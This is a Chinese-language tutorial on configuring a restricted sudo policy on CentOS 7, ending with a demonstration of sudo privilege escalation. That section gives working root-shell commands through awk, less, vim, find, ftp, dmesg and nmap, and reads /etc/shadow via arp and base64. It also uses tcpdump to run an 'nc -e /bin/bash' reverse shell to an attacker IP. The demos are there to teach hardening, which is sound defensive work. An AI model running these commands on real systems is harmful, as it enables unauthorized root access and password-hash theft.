CentOS 7系统配置sudo策略(附sudo提权演示)

一、操作目的和应用场景

某些应用系统维护人员为了工作方便,将普通用户设置为不需要输入口令即可以root身份执行任何命令。这是非常不安全的,因为一旦攻击者获得了普通账户的权限,即可在系统中执行任意指令。因此有必要制定适合于维护人员的sudo策略,使维护人员可以通过受到限制的超级用户权限处理业务上的问题,同时又不至于被攻击者利用从而对系统产生很大的伤害。下面是我的一点思考,与大家分享。

二、平台及工具版本

操作系统:CentOS 7

三、操作步骤

(一)运维人员需要执行的命令

初步将运维人员可能需要以root身份执行的命令归纳如下:

1、 服务管理

/usr/bin/systemctl start

/usr/bin/systemctl stop

/usr/bin/systemctl reload

/usr/bin/systemctl restart

/usr/bin/systemctl status

/usr/bin/systemctl enable

/usr/bin/systemctl disable

2、 进程管理

/usr/bin/nice

/usr/bin/kill

/usr/bin/killall

/usr/bin/ps

/usr/bin/top

3、 网络管理

/usr/sbin/route

/usr/sbin/ifconfig

/usr/bin/netstat

4、 存储管理

/usr/sbin/fdisk

/usr/sbin/sfdisk

/usr/sbin/parted

/usr/sbin/partprobe

/usr/bin/mount

/usr/bin/umount

5、 关闭系统

/usr/sbin/reboot

/usr/sbin/halt

/usr/sbin/poweroff

6、 软件管理

/usr/bin/rpm

/usr/bin/yum

/usr/local/bin/pip

/usr/local/bin/pip3

7、 文件管理

/usr/bin/ls

/usr/bin/cat

8、 其它

维护人员需要执行的其它命令。

(二)visudo配置

visudo  //管理员身份运行,加入下面的内容

1、 创建用户别名

User_Alias USERS = user1, user2

2、 创建命令别名

Cmnd_Alias SERVICES = /usr/sbin/service, /usr/sbin/chkconfig, /usr/bin/systemctl start *, /usr/bin/systemctl stop *, /usr/bin/systemctl reload *, /usr/bin/systemctl restart *, /usr/bin/systemctl status *, /usr/bin/systemctl enable *, /usr/bin/systemctl disable *

Cmnd_Alias PROCESS = /usr/bin/nice, /usr/bin/kill, /usr/bin/killall, /usr/bin/ps, /usr/bin/top

Cmnd_Alias NETWORKING = /usr/sbin/route, /usr/sbin/ifconfig, /usr/bin/netstat

Cmnd_Alias STORAGE = /usr/sbin/fdisk, /usr/sbin/sfdisk, /usr/sbin/parted, /usr/sbin/partprobe, /usr/bin/mount, /usr/bin/umount

Cmnd_Alias SHUTDOWN = /usr/sbin/reboot, /usr/sbin/halt, /usr/sbin/poweroff, /usr/sbin/shutdown

Cmnd_Alias SOFTWARE = /usr/bin/rpm, /usr/bin/yum, /usr/local/bin/pip, /usr/local/bin/pip3

Cmnd_Alias FILE = /usr/bin/ls, /usr/bin/cat

3、 创建sudo规则

USERS ALL = (root) NOPASSWD: SERVICES, PROCESS, NETWORKING, STORAGE, SHUTDOWN, SOFTWARE, FILE

保存退出

(三)测试

1、 重启服务

CentOS 7系统配置sudo策略(附sudo提权演示)插图

2、 杀死进程

CentOS 7系统配置sudo策略(附sudo提权演示)插图(1)

3、 配置网络

CentOS 7系统配置sudo策略(附sudo提权演示)插图(2)

4、 管理存储

CentOS 7系统配置sudo策略(附sudo提权演示)插图(3)

5、 关闭系统

CentOS 7系统配置sudo策略(附sudo提权演示)插图(4)

6、 管理软件

CentOS 7系统配置sudo策略(附sudo提权演示)插图(5)

7、 文件系统

CentOS 7系统配置sudo策略(附sudo提权演示)插图(6)

以上的操作中,普通用户无法执行的命令,通过sudo都可以执行。在这个例子中sudo权限允许的范围可能过大,朋友们根据工作中的实际需要修改命令别名中的命令即可。​​

(四)实际的例子

例如编写一个远程巡检脚本,该脚本以普通用户的身份运行,但是需要执行目标系统中的某些受限命令,访问一些受限文件。这时只需要在目标系统运行visudo,加入相关的指令即可。

visudo  //运行visudo命令,编辑/etc/sudoers文件

//创建命令别名:

Cmnd_Alias SECMAN_LOGON = /usr/bin/cat /var/log/secure*, /usr/bin/lastb, /usr/bin/journalctl _SYSTEMD_UNIT=sshd.service

Cmnd_Alias SECMAN_AUTORUN = /usr/bin/crontab -uroot -l

Cmnd_Alias SECMAN_SYSCONFIG = /usr/sbin/iptables -L -t nat -n, /usr/sbin/iptables -L -t filter -n

Cmnd_Alias SECMAN_LOG = /usr/bin/cat /root/.bash_history

Cmnd_Alias SECMAN_PROCESS = /usr/bin/sar 1 3

//创建sudo规则

secman ALL = (root) NOPASSWD: SECMAN_LOGON, SECMAN_AUTORUN, SECMAN_SYSCONFIG, SECMAN_LOG, SECMAN_PROCESS

保存退出

该远程巡检脚本中运行的命令很多,但visudo中无需加入那些普通用户身份就能得到正常结果的命令,如/usr/bin/last、cat /etc/passwd等,只将那些不使用root身份就得不到正确结果的命令加入即可。

(五)sudo提权演示

下面向大家演示一些由sudo造成提权的例子,让大家了解sudo存在的风险。可能造成sudo提权的程序包括系统自带的命令、第三方软件,以及用户编写的脚本等。大家注意,在配置sudo策略的时候不要将能够造成提权的命令放在允许执行的命令列表中。

1、 awk提权

(1) 允许用户通过sudo执行awk

编辑sudoers,允许user1用户使用sudo执行/usr/bin/awk

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/awk

保存退出

(2) 提权

sudo awk ‘BEGIN {system(“/bin/bash”)}’

CentOS 7系统配置sudo策略(附sudo提权演示)插图(7)

提权成功,得到了root shell。

2、 less提权

(1) 将less加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/less

保存退出

(2) 提权

sudo less /etc/passwd

输入!/bin/bash

CentOS 7系统配置sudo策略(附sudo提权演示)插图(8)

回车后得到root权限:

CentOS 7系统配置sudo策略(附sudo提权演示)插图(9)

提权成功,得到了root shell。

3、 vim提权

(1) 将less加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/vim

保存退出

(2) 提权

sudo vim -c ‘!bash’

CentOS 7系统配置sudo策略(附sudo提权演示)插图(10)

提权成功,得到了root shell。

4、 find提权

(1) 将find加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/find

保存退出

(2) 提权

sudo find /usr/bin -name ls -exec /bin/bash \;

CentOS 7系统配置sudo策略(附sudo提权演示)插图(11)

提权成功,得到了root shell。

5、 tcpdump提权

(1) 创建一个可执行脚本

touch /tmp/test.sh

#!/bin/bash

nc -e /bin/bash 192.168.1.6 8080

192.168.1.6是攻击者的IP。保存退出

chmod +x /tmp/test.sh

(2) 将tcpdump加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/sbin/tcpdump

保存退出

(3) 攻击者使用netcat监听自己机器上的8080端口

nc -l -p 8080

(4) 提权

tcpdump中有两个参数:-z和-Z。前者用来执行一个脚本,后者用来指定tcpdump以哪个用户身份运行。当可以通过sudo执行时,可以指定以root用户运行指定的脚本,从而达到提权的目的。

sudo tcpdump -ln -i enp0s3 -w /dev/null -W 1 -G 1 -z /tmp/test.sh -Z root

CentOS 7系统配置sudo策略(附sudo提权演示)插图(12)

脚本很快结束退出,但是在攻击者的机器上已经得到了一个反向shell:

[email protected]:~/# nc -l -p 8080

CentOS 7系统配置sudo策略(附sudo提权演示)插图(13)

提权成功,得到了root shell。

6、 ftp提权

(1) 允许用户通过sudo执行ftp

编辑sudoers,允许user1用户使用sudo执行/usr/bin/ftp

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/ftp

保存退出

(2) 提权

sudo ftp

!/bin/bash

CentOS 7系统配置sudo策略(附sudo提权演示)插图(14)

提权成功,得到了root权限。

7、 dmesg提权

(1) 允许用户通过sudo执行cp

编辑sudoers,允许user1用户使用sudo执行/usr/bin/dmesg

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/dmesg

保存退出

(2) 提权

sudo dmesg -H

输入!/bin/bash

CentOS 7系统配置sudo策略(附sudo提权演示)插图(15)

提权成功,得到了root shell。

8、 nmap提权

(1) 将nmap加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/nmap

保存退出

(2) 提权

使用nse脚本提权,普通用户进行下面的操作:

echo “os.execute(‘/bin/bash’)” > /tmp/shell.nse

sudo nmap –script=/tmp/shell.nse 127.0.0.1

CentOS 7系统配置sudo策略(附sudo提权演示)插图(16)

提权成功,得到了root shell。

9、 arp提权

(1) 允许用户通过sudo执行arp

编辑sudoers,允许user1用户使用sudo执行/usr/sbin/arp

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/sbin/arp

保存退出

(2) 提权

sudo arp -v -f /etc/shadow

CentOS 7系统配置sudo策略(附sudo提权演示)插图(17)

提权成功,读取了/etc/shadow。

10、 base64提权

(1) 允许用户通过sudo执行base64

编辑sudoers,允许user1用户使用sudo执行/usr/bin/base64

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/base64

保存退出

(2) 提权

sudo base64 “/etc/shadow” | base64 –decode

CentOS 7系统配置sudo策略(附sudo提权演示)插图(18)

提权成功,读取了/etc/shadow。

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享